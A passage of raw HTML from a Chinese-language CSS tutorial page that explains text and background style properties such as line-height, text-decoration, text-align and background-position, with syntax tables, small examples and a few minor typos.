size="4">以16进制（hex）的色彩值表示 </font></a><br /><font size="4">&middot;</font><a href="http://www.a100.com.cn/css/colors256.htm" target="_blank"><font size="4">以默认颜色的英文名称表示</font></a><font size="4"> <br /><span class="font_red">注意：</span>以 默认颜色的英文名称表示无疑是最为方便的，但由于预定义的颜色种类太少，所以更多的网页设计者喜欢用RGB的方式。RGB方式的好处很多，不但可以用数字 的形式精确地表示颜色，而且也是很多图像制作软件（如Photoshop）里默认使用的规范，这样一来就为图片和网页更好地结合打下了坚实的基础。 </font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="text-shadow"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">7. 文字阴影颜色：text-shadow</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{text-shadow:</font><a href="http://www.a100.com.cn/css/Colors16.htm" target="_blank"><font size="4">16位色值</font></a><font size="4">}<br /><span class="font_red">说明：</span>好像不起作用?<br /><span class="font_red">例子：</span><span style="FONT-SIZE: 20px; FONT-FAMILY: '黑体'">中国</span><span style="FONT-SIZE: 20px; FONT-FAMILY: '黑体'">中国</span></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="line-height"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td class="font_three"><font size="4">8. 字体行高 </font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{line-height:数值|inherit|normal} <br /><span class="font_red">作用：</span>行与行之间的距离 <br /><span class="font_red">说明：</span>取值范围<br />&middot;不带单位的数字：以1为基数，相当于比例关系的100% <br />&middot;带长度单位的数字：以具体的单位为准 <br />&middot;比例关系 <br /><span class="font_red">注意：</span>行距是指上下两行基准线之间的垂直距离。一般地说，英文五线格练习本，从上往下数的第三条横线就是计算机所认为的该行的基准线。如果文字字体很大，而行距相对较小的话，可能会发生上下两行文字互相重叠的现象。 </font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="letter-spacing"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td class="font_three"><font size="4">9. 字 间 距：letter-spacing</font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{letter-spacing:数值|inherit|normal} <br /><span class="font_red">作用：</span>控制文本元素字母间的间距，所设置的距离适用于整个元素。 <br /><span class="font_red">注意：</span>数值 - 设置字间距长度，正值表示加进父元素中继承的正常长度，负值则減去正常长度。在数字后指定度量单位：ex(小写字母x的高度), em(大写字母M的宽度)。 <br /><span class="font_red">例子：</span> <span style="LETTER-SPACING: 6mm">中国china</span>　　 <span style="LETTER-SPACING: 6mm">中国china</span></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="word-spacing"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td class="font_three"><font size="4">10. 单词间距：word-spacing</font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{word-spacing:数值|inherit|normal} <br /><span class="font_red">说明：</span>单词间距指的是英文每个单词之间的距离，不包括中文文字。间隔距离的取值：points、em、pixes、in、cm、mm、pc、ex、normal等。 </font></p><span class="font_three"><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-variant"></a></span><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">11. 字体变形：font-variant</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-variant:inherit|normal|small-cps<br /><span class="font_red">作用：</span>用于正常和小型大写字母间切换(比正常大写字母略小)<br /><span class="font_red">说明：</span>small-caps 小型大写字母</font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="text-transform"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">7. 字母大小写转换：text-transform</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{text-transform:inherit|none|capitalize|uppercase|lowercase}<br /><span class="font_red">作用：</span>设置一个或几个字母的大小写标准。<br /><span class="font_red">说明：</span><br />&middot;none　　　　不改变文本的大写小写。<br />&middot;capitalize　元素中毎个单词的第一个字母用大写。<br />&middot;uppercase　 将所有文本设置为大写。<br />&middot;lowercase　 将所有文本设置为小写。<br />例子：<span style="TEXT-TRANSFORM: uppercase">china abcd</span>　<span style="TEXT-TRANSFORM: uppercase">china abcd</span></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-size-adjust"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">13. font-size-adjust</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-size-adjust:inherit|none}<br /><span class="font_red">作用：</span>不详</font></p><span class="font_three"><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-stretch"></a></span><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">14. font-stretch</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-stretch:condensed | expanded | extra-condensed | extra-expanded | inherit | narrower | normal |<br />semi-condensed | semi-expanded | ultra-condensed | ultra-expanded | wider}<br /><span class="font_red">作用：</span>不详 </font></p><p align="left"><font size="4"><span class="font_two">四、文本样式</span> </font></p><p align="left"><table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">    <tbody>        <tr class="table_back1">            <td><font size="4">序号</font></td>            <td><font size="4">中文说明</font></td>            <td><font size="4">标记语法</font></td>            <td><font size="4">备注</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">1</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#line-height"><font size="4">行 间 距</font></a></td>            <td><font size="4">{line-height:数值|inherit|normal;} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">2</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#text-decoration"><font size="4">文本修饰</font></a></td>            <td><font size="4">{text-decoration:inherit|none|underline|overline|line-through|blink}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">3</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#text-indent"><font size="4">段首空格</font></a><font size="4"> </font></td>            <td><font size="4">{text-indent:数值|inherit}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">4</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#text-align"><font size="4">水平对齐</font></a></td>            <td><font size="4">{text-align:left|right|center|justify} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">5</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#vertical-align"><font size="4">垂直对齐</font></a></td>            <td><font size="4">{vertical-align:inherit|top|bottom|text-top|text-bottom|baseline|middle|sub|super} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }" onmouseout="function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">6</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/03.htm#writing-mode"><font size="4">书写方式</font></a></td>            <td><font size="4">{writing-mode:lr-tb|tb-rl} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><br /></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="line-height"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">1．行 间 距：line-height</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{line-height:数值|inherit|normal}<br /><span class="font_red">作用：</span>行与行之间的距离<br /><span class="font_red">说明：</span>行间距离取值<br />&middot;不带单位的数字：以1为基数，相当于比例关系的100%<br />&middot;带长度单位的数字：以具体的单位为准<br />&middot;比例关系<br /><span class="font_red">注意：</span>行距是指上下两行基准线之间的垂直距离。一般地说，英文五线格练习本，从上往下数的第三条横线就是计算机所认为的该行的基准线。如果文字字体很大，而行距相对较小的话，可能会发生上下两行文字互相重叠的现象。</font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="text-decoration"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">2、文本修饰：text-decoration</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{text-decoration:inherit|none|underline|overline|line-through|blink}<br /><span class="font_red">作用：</span>文本修饰，用于控制文本元素所用的效果，特别适用于引人注意的说明，警告等文本效果。<br /><span class="font_red">说明：</span><br />&middot;inherit 　　 继承 <br />&middot;none 　　　　无文本修饰，缺省设置<br />&middot;underline　　下划线<br />&middot;overline　　 上划线<br />&middot;line-through 删除线<br />&middot;blink　　　　闪烁<br /><span class="font_red">注意：</span>同一语句中可以组合多个关键字。<br /><br /><span class="font_red">例子：</span><span style="FONT-SIZE: 20pt; COLOR: rgb(0,102,136); FONT-FAMILY: 黑体; TEXT-DECORATION: underline">下划线</span> <span style="FONT-SIZE: 20pt; COLOR: rgb(0,102,136); FONT-FAMILY: 黑体; TEXT-DECORATION: overline">上划线</span> <span style="FONT-SIZE: 20pt; COLOR: rgb(0,102,136); FONT-FAMILY: 黑体; TEXT-DECORATION: line-through">删除线</span> </font><font size="4"><span style="FONT-SIZE: 20pt; COLOR: rgb(0,102,136); FONT-FAMILY: 黑体; TEXT-DECORATION: blink">闪烁<br /></span>使用下列语句可以使连接不再有下划线:A:link,A:visited,A:active { text-decoration: none }<span style="FONT-SIZE: 20pt; COLOR: rgb(0,102,136); FONT-FAMILY: 黑体; TEXT-DECORATION: blink"> </span></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="text-indent"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">3．段首空格：text-indent</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{text-indent:数值|inherit}<br /><span class="font_red">说明：</span>取值范围<br />&middot;带长度单位的数字<br />&middot;比例关系<br /><span class="font_red">注意：</span>文 本缩进可以使文本在相对默认值较窄的区域里显示，主要用于中文板式的首行缩进，或是为大段的引用文本和备注做成缩进的格式。在使用比例关系的时候，有人会 认为浏览器默认的比例是相对段落的宽度而言的，其实事实并非如此，整个浏览器的窗口才是浏览器所默认的参照物。另外，text-indent是块级属性， 只能用于 </font></p><p align="left"><font size="4">、<blockquqte></blockquqte>、 </font></p><ul>    <p align="left"><font size="4">、 </font></p>    <h1 align="left"><font size="4">~ </font></h1>    <h6 align="left"><font size="4">等标识符里。 </font></h6>    <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="text-align"></a>    <h6 align="left">    <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">        <tbody>            <tr>                <td><span class="font_three"><font size="4">4、水平对齐：text-align</font></span></td>            </tr>        </tbody>    </table>    </h6>    <h6 align="left"><font size="4"><span class="font_red">语法：</span>{text-align:left|right|center|justify}<br />    <span class="font_red">作用：</span>在元素框中水平对齐文本<br />    <span class="font_red">说明：</span><br />    &middot;left 　 左对齐<br />    &middot;right 　右对齐<br />    &middot;center　居中<br />    &middot;justify 两端对齐，均匀分布<br />    <span class="font_red">注意：</span>text-alight是块级属性，只能用于 </font></h6>    <h6 align="left"><font size="4">、<blockquqte></blockquqte>、 </font></h6>    <ul>        <p align="left"><font size="4">、 </font></p>        <h1 align="left"><font size="4">~ </font></h1>        <h6 align="left"><font size="4">等标识符里。文本水平对齐可以控制文本的水平对齐，而且并不仅仅指文字内容，也包括设置图片、影像资料的对齐方式。 </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="vertical-align"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">5．垂直对齐：vertical-align</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{vertical-align:inherit|top|bottom|text-top|text-bottom|baseline|middle|sub|super}<br />        <span class="font_red">说明：</span><br />        &middot;inherit 继承<br />        &middot;top 顶对齐<br />        &middot;bottom 底对齐<br />        &middot;text-top 相对文本顶对齐<br />        &middot;text-bottom 相对文本底对齐<br />        &middot;baseline 基准线对齐<br />        &middot;middle 中心对齐<br />        &middot;sub 以下标的形式显示<br />        &middot;super 以上标的形式显示</font></h6>        <h6 align="left"><font size="4"><span class="font_red">注意：</span>文本的垂直对齐应当是相对于文本母体的位置而言的，不是指文本在网页里垂直对齐。比如说，表格的单元格里有一段文本，那么对这段文本设置垂直居中就是针对单元格来衡量的，也就是说，文本将在单元格的正中显示，而不是整个网页的正中。<br />        <span class="font_red">例子：</span>10<span style="VERTICAL-ALIGN: sub">5</span>　10<span style="VERTICAL-ALIGN: sub">5</span> 　10<span style="VERTICAL-ALIGN: super">5</span> 10<span style="VERTICAL-ALIGN: super">5</span></font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="writing-mode"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td class="font_three"><font size="4">6. 书写方式：writing-mode </font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{writing-mode:lr-tb|tb-rl}<br />        <span class="font_red">作用：</span>文字的书写方式<br />        <span class="font_red">说明：</span> <br />        &middot;lr-tb 从左向左，从上往下 <br />        &middot;tb-rl: 从上往下，从右向左 </font></h6>        <h6 align="left"><font size="4"><span class="font_two">五、背景样式</span> </font></h6>        <h6 align="left">        <table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">            <tbody>                <tr class="table_back1">                    <td><font size="4">序号</font></td>                    <td><font size="4">中文说明</font></td>                    <td><font size="4">标记语法</font></td>                    <td><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background-color"><font size="4">背景颜色</font></a></td>                    <td><font size="4">{background-color:数值}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background-image"><font size="4">背景图片</font></a></td>                    <td><font size="4">{background-image: url(URL)|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background-repeat"><font size="4">背景重复</font></a></td>                    <td><font size="4">{background-repeat:inherit|no-repeat|repeat|repeat-x|repeat-y}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background-attachment"><font size="4">背景固定</font></a></td>                    <td><font size="4">{background-attachment:fixed|scroll}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background-position"><font size="4">背景定位</font></a></td>                    <td><font size="4">{background-position:数值|top|bottom|left|right|center}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/04.htm#background"><font size="4">背影样式</font></a></td>                    <td><font size="4">{background:背景颜色|背景图象|背景重复|背景附件|背景位置}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><br />        </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background-color"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">1．背景颜色：background-color </font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background-color:数值}<br />        <span class="font_red">说明：</span>参数取值和颜色属性一样<br />        <span class="font_red">注意：</span>在HTML 当中，要为某个对象加上背景色只有一种办法，那就是先做一个表格，在表格中设置完背景色，再把对象放进单元格。这样做比较麻烦，不但代码较多，还要为表格 的大小和定位伤些脑筋。现在用CSS就可以轻松地直接搞定了，而且对象的范围很广，可以是一段文字，也可以只是一个单词或一个字母。 <br />        <span class="font_red">例子：</span><span style="BACKGROUND-COLOR: red">给部分文字加背景颜色</span><span style="BACKGROUND-COLOR: red">给部分文字加背景颜色</span></font></h6>        <h6 align="left">        <table style="BACKGROUND-COLOR: red" cellspacing="0" cellpadding="0" width="300" border="1">            <tbody>                <tr>                    <td><font size="4">表格背影颜色：style=&quot;background-color:red&quot;</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><br />        </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background-image"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><font size="4"><span class="font_three">2．背景图片：background-image</span> </font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background-image: url(URL)|none}<br />        <span class="font_red">说明： </span>URL就是背景图片的存放路径。如果用&ldquo;none&rdquo;来代替背景图片的存放路径，将什么也不显示。<br />        <span class="font_red">例子：</span>给部分文字加背景图片 .imgbgstyle { background-image: url(logo.gif)}</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background-repeat"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">3．背景重复：background-repeat </font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background-repeat:inherit|no-repeat|repeat|repeat-x|repeat-y}<br />        <span class="font_red">作用：</span>背景图片重复控制的是背景图片平铺与否，也就是说，结合背景定位的控制可以在网页上的某处单独显示一幅背景图片<br />        <span class="font_red">说明：</span>参数取值范围：<br />        &middot;inherit 继承 <br />        &middot;no-repeat 不重复平铺背景图片<br />        &middot;repeat<br />        &middot;repeat-x 使图片只在水平方向上平铺 <br />        &middot;repeat-y 使图片只在垂直方向上平铺 <br />        <span class="font_red">注意：</span>如果不指定背景图片重复属性，浏览器默认的是背景图片向水平、垂直两个方向上平铺。 </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background-attachment"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">4．背景固定：background-attachment </font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background-attachment:fixed|scroll}<br />        <span class="font_red">说明：</span>参数取值范围<br />        &middot;fixed：网页滚动时，背景图片相对于浏览器的窗口而言，固定不动 <br />        &middot;scroll：网页滚动时，背景图片相对于浏览器的窗口而言，一起滚动 <br />        <span class="font_red">注意：</span>背景图片固定控制背景图片是否随网页的滚动而滚动。如果不设置背景图片固定属性，浏览器默认背景图片随网页的滚动而滚动。为了避免过于花哨的背景图片在滚动时伤害浏览者的视力，所以可以解除背景图片和文字内容的捆绑，该为和浏览器窗口捆绑。 <br />        <span class="font_red">例子：</span>使背景图案不随文字&ldquo;滚动&rdquo;的CSS<br />        BODY { background: purple url(bg.jpg); background-repeat:repeat-y; background-attachment:fixed } </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background-position"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">5．背景定位：background-position</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background-position:数值|top|bottom|left|right|center}<br />        <span class="font_red">作用：</span>背景定位用于控制背景图片在网页中显示的位置。 <br />        <span class="font_red">说明：</span>参数取值范围<br />        &middot;带长度单位的数字参数 <br />        &middot;top：相对前景对象顶对齐 <br />        &middot;bottom：相对前景对象底对齐 <br />        &middot;left：相对前景对象左对齐 <br />        &middot;right：相对前景对象右对齐 <br />        &middot;center：相对前景对象中心对齐 <br />        &middot;比例关系</font></h6>        <h6 align="left"><font size="4">关键字解释如下:<br />        top left = left top = 0% 0% <br />        top = top center = center top = 50% 0% <br />        right top = top right = 100% 0% <br />        left = left center = center left = 0% 50% <br />        center = center center = 50% 50% <br />        right = right center = center right = 100% 50% <br />        bottom left = left bottom = 0% 100% <br />        bottom = bottom center = center bottom = 50% 100% <br />        bottom right = right bottom = 100% 100% <br />        <span class="font_red">注意：</span>参数中的center如果用于另外一个参数的前面，表示水平居中；如果用于另外一个参数的后面，表示垂直居中。 </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="background"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td class="font_three"><font size="4">6. 背景样式：background</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{background:背景颜色|背景图象|背景重复|背景附件|背景位置}<br />        <span class="font_red">作用：</span>背景属性是一个更明确的背景&mdash;关系属性的略写。以下是一些背景的声明:<br />        <span class="font_red">例子：</span><br />        BODY { background: white url(http://www.htmlhelp.com/foo.gif) }<br />        BLOCKQUOTE { background: #7fffd4 }<br />        P { background: url(../backgrounds/pawn.png) #f0f8ff fixed }<br />        TABLE { background: #0c0 url(leaves.jpg) no-repeat bottom right }<br />        <span class="font_red">注意：</span>当一个值未被指定时，将接受其初始值。例如，在上述的前三条规则，背景位置属性将被设置为0% 0%。为了避免与用户的样式表之间的冲突，背景和颜色应该一起被指定。 </font></h6>        <h6 align="left"><span class="font_two"><font size="4">七、列表样式 </font></span></h6>        <h6 align="left">        <table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">            <tbody>                <tr class="table_back1">                    <td align="center" width="4%"><font size="4">序号</font></td>                    <td align="center" width="9%"><font size="4">中文说明</font></td>                    <td width="82%"><font size="4">标记语法</font></td>                    <td width="5%"><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#display"><font size="4">控制显示</font></a></td>                    <td><font size="4">{display:none|block|inline|list-item}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#white-space"><font size="4">控制空白</font></a></td>                    <td><font 